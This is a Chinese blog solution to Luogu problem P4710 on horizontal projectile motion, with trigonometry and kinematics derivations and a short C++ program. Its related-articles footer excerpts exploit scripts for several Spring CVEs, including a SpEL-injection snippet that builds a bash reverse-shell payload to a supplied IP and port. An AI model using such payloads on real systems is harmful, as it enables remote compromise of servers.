首页 > 其他分享 >【2023.03.20】P4710 「物理」平抛运动

【2023.03.20】P4710 「物理」平抛运动

时间:2023-05-23 20:01:28浏览次数:44  
标签:cos sx frac 2023.03 times P4710 速度 方向 20

题目传送门:

【洛谷】P4710 [物理]平抛运动

Step 1:前置芝士

您需要知道并了解以下芝士:

  1. 数学:
    • 三角函数;
  2. 物理:
    • 加速度公式;
    • 位移公式;

那么如果您并不了解以上芝士,那么请继续向下看;如果您已经掌握以上芝士,那么请跳至“Step 2”。

三角函数讲解:

注意,本题为物理题解,故不会放出三角函数作图过程、函数图像、拓展公式、常考题型、易错题型等,若需要请参考以下链接:

Bilibili: Link

WeChat: Link

如图,三角形ABC为直角三角形,∠B为直角,∠A为θ。其中线段AB长为c,线段BC长为a,线段AC长为b

image

那么对于直角三角形,它有六种三角函数:

  • 正弦(sin)
  • 余弦(cos)
  • 正切(tan)
  • 余切(cot)
  • 正割(sec)
  • 余割(csc)

那他们都等于什么呢:

\[\sin θ = \frac{对边}{斜边} = \frac{a}{b}; \]

\[\cos θ = \frac{邻边}{斜边} = \frac{c}{b}; \]

\[\tan θ = \frac{对边}{邻边} = \frac{a}{c}; \]

\[\cot θ = \frac{邻边}{对边} = \frac{c}{a}; \]

\[\sec θ = \frac{斜边}{邻边} = \frac{b}{c}; \]

\[\csc θ = \frac{斜边}{对边} = \frac{b}{a}; \]

好了,关于三角函数知道这么多已经足够我们做这道题了。

加速度公式:

\[a = \frac{(v_t - v_0)}{t}; \]

其中,\(a\)为加速度;\(v_t\)为最终速度;\(v_0\)为初始速度;\(t\)为运动时间;

位移公式:

\[s = v_0 \times t + \frac{a \times t ^ 2}{2}; \]

其中,\(a\)为加速度;\(v_0\)为初始速度;\(t\)为运动时间;\(s\)为位移;


Step 2:正文

先看题目:

一个可以视为质点的小球在点 \(A(x_0, y_0)\) 沿 \(x\) 轴负方向以某速度抛出,无视除重力外的所有阻力,最后恰好以速度 \(v\) 砸到 \(B(0, 0)\) 点。

易知,小球是在做平抛运动(看题目就知道了,那么我们可以将平抛运动看做一个水平方向的匀速直线运动(无视所有阻力,则在水平方向不受力)和一个竖直方向的匀加速运动。在这个匀加速运动中,它的初速度为零,并且只受重力作用,所以是在做自由落体运动。

那么,我们就把题目给出的速度分成两个速度:水平方向的速度与竖直方向的速度。对于水平方向的速度,它是恒不变的,因为本题目无视所有阻力;而对于竖直方向的速度,它是在匀速增加的(重力加速度)。

看到题目是给的角度那么我们就应该想到三角函数。就按题目中最后一个图:

image

按上图说,我们可以求出竖直方向的最终速度vy

\[vy = v \cos θ \]

又有重力加速度的公式:

\[v = tg \]

题目已经求出了竖直方向最终速度,那么我们就可以用它求出时间,设重力加速度为g,则有:

\[t = \frac{vy}{g} \]

酱紫我们就可以这么表示时间t

\[t = \frac{v \cos θ}{g} \]

再由位移公式求出竖直方向的位移即纵坐标就好啦:

\[sy = v0(即为零) \times \frac{v \cos θ}{g} + \frac{g \times (\frac{v \cos θ}{g})^2}{2} \]

分析完竖直方向,我们再看看水平方向。上面已经解释过了水平方向是在做匀速直线运动,那最终的水平方向位移即横坐标sx:

\[sx = vx \times t \]

同时它也可以酱紫表示:

\[sx = vx \times \frac{v \cos θ}{g} \]

我们再去分析水平方向的速度,继续按介个图说:

image

显然良心出题人已经帮我们标出来了:

\[vx = v \sin θ \]

那我们再将这个式子代入sx的式子中:

\[sx = v \sin θ \times \frac{v \cos θ}{g} \]

我们就又可以表示出横坐标啦!下面就是码代码就好啦。

Step 3:代码

直接放代码了就:

Link
#include <bits/stdc++.h>
using namespace std;
double sx,sy;
double vx,vy;
double v,d,g,t;
int main(){
	//freopen(".in","r",stdin);
	//freopen(".out","w",stdout);
	cin>>v;
	cin>>d;
	g=10.0;
	t=v*cos(d)*1.0/g;
	sy=(g*t*t)/2;
	sx=v*sin(d);
	sx*=t;
	cout<<sx<<" "<<sy;
	//fclose(stdin);
	//fclose(stdout);
	return 0;
}

建议不要在使用double类型时使用pow,就是TM这么写炸的。

就酱紫吧。

标签:cos,sx,frac,2023.03,times,P4710,速度,方向,20
From: https://www.cnblogs.com/xinao2186182144/p/17237773.html

相关文章

  • MQCal工程算量V1.2.7.1(20230519)版本发布——土建、水电Excel算量插件工具
    MQCal工程算量加载宏工具是什么?首先说明的是:MQcal不是一个简单的对工程计算式算结果的求值工具。他是我本人结合手工算量经验,充分考虑预算员的需求,从算量表格自己设计、重复项目便捷输入、特殊标记、汇总统计、打印或打印为pdf、造价预估等实用功能一体解决方法。MQCal工程算量......
  • 2023.5.23每日总结
    <%@pageimport="wangzhan.Thesql"%><%@pageimport="wangzhan.Pd_P_assignment"%><%@pageimport="wangzhan.Pd_S_assignment"%><%@pagelanguage="java"contentType="text/html;charset=UTF......
  • 编程一小时2023.5.23
    1.#include<iostream>#include<cstring>#include<algorithm>usingnamespacestd;chartran(charc){return(int)(c-'A'-4)>0?(c-5):(c+21);}stringsd,str,ed,eof="ENDOFINPUT";intmain(){strings;while(getline(ci......
  • 2022 暑 模板归纳
    目录手写栈队列广度优先级搜索并查集哈希一.手写栈栈的函数s.push(x)s.pop()s.top()s.size()s.empty()//手写栈intx,p=0;ints[10000005];voidpush(intx){s[++p]=x;return;}voidpop(){p--;return;}inttop(){......
  • CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s......
  • CVE-2022-22965
    #CVE-2022-22965:Spring远程代码执行importrequestsimportargparseimporttimeimportreimportbase64importurllib.parseheader={"Accept-Encoding":"gzip,deflate","Accept":"*/*","Accept-Languag......
  • CVE-2022-22963
    #SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla......
  • CVE-2022-22947
    #CVE-2022-22947:SpringCloudGateway远程代码执行importrequestsimportjsonimportsysimportbase64importargparseimportreurl1='/actuator/gateway/routes/hacktest'url2='/actuator/gateway/refresh'url3='/actuator/gateway/routes/......
  • Q420MC力学性能、Q420MC切割加工、Q420MC期货订轧
    一、Q420MC钢板简介:Q420MC钢板系列有:Q420MB、Q420MC、Q420MD、Q420ME。Q、表示屈服强度“屈”字的拼音首字母;420是屈服值,M热机械轧制,C代表级别,表示钢板是0度冲击;当需方要求钢板具有厚度方向性能时,则在上述规定的牌号后加上代表厚度方向(Z向)性能级别的符号,如:Q420MCZ15、Q420MCZ......
  • 2023.5.21学习内容 多态、接口、泛型、反射
    下午1.了解CSS响应式布局和兼容性问题2.浏览IDEA使用手册并修改Maven仓库设置3.复习强化JavaSE的多态、接口、泛型、反射知识importorg.junit.Test;importtest.Hello;importjava.lang.reflect.Field;importjava.util.ArrayList;importjava.util.LinkedList;import......